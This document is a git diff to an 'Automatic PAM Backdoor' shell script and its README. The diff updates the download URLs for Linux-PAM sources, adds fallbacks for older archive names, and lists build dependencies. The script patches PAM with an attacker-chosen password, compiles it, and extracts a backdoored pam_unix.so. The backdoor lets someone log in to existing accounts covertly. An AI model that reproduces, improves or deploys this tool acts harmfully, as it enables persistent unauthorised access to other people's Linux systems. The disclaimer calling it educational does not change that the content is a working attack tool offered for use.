diff --git a/README.md b/README.md
index 529e3cf..168e554 100644
--- a/README.md
+++ b/README.md
@@ -24,3 +24,14 @@ After that, you can log-in to the system using an existing user, and the previou
 Use this for educational purposes only.
 I am not responsible for the damage you might cause.
 
+## Dependencies 
+
+Tested with ubuntu 20.04: 
+* 1.1.8 and older: failed to compile
+* 1.2.0: worked
+* 1.3.0 to 1.4.0: worked
+
+The following packages where used
+```bash
+apt install -y  autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc
+```
diff --git a/backdoor.sh b/backdoor.sh
index 13cea10..e033be2 100755
--- a/backdoor.sh
+++ b/backdoor.sh
@@ -11,7 +11,7 @@ echo "Automatic PAM Backdoor"
 function show_help {
 	echo ""
 	echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
-	echo "For a list of supported versions: http://www.linux-pam.org/library/"
+	echo "For a list of supported versions: https://github.com/linux-pam/linux-pam/releases"
 }
 
 while getopts ":h:?:p:v:" opt; do
@@ -45,9 +45,9 @@ echo "PAM Version: $PAM_VERSION"
 echo "Password: $PASSWORD"
 echo ""
 
-PAM_BASE_URL="http://www.linux-pam.org/library"
-PAM_DIR="Linux-PAM-${PAM_VERSION}"
-PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
+PAM_BASE_URL="https://github.com/linux-pam/linux-pam/archive"
+PAM_DIR="linux-pam-${PAM_VERSION}"
+PAM_FILE="v${PAM_VERSION}.tar.gz"
 PATCH_DIR=`which patch`
 
 if [ $? -ne 0 ]; then
@@ -55,10 +55,30 @@ if [ $? -ne 0 ]; then
 	exit 1
 fi
 wget -c "${PAM_BASE_URL}/${PAM_FILE}"
+if [[ $? -ne 0 ]]; then # did not work, trying the old format    
+    PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
+    PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
+    wget -c "${PAM_BASE_URL}/${PAM_FILE}"
+    if [[ $? -ne 0 ]]; then
+        # older version need a _ instead of a .
+        PAM_VERSION="$(echo $PAM_VERSION | tr '.' '_')"  
+        PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
+        PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
+        wget -c "${PAM_BASE_URL}/${PAM_FILE}"
+        if [[ $? -ne 0 ]]; then        
+            echo "Failed to download"
+            exit 1
+        fi        
+    fi
+fi
 
-tar xjf $PAM_FILE
+tar xzf $PAM_FILE
 cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
 cd $PAM_DIR
+# newer version need autogen to generate the configure script
+if [[ ! -f "./configure" ]]; then 
+    ./autogen.sh 
+fi 
 ./configure
 make
 cp modules/pam_unix/.libs/pam_unix.so ../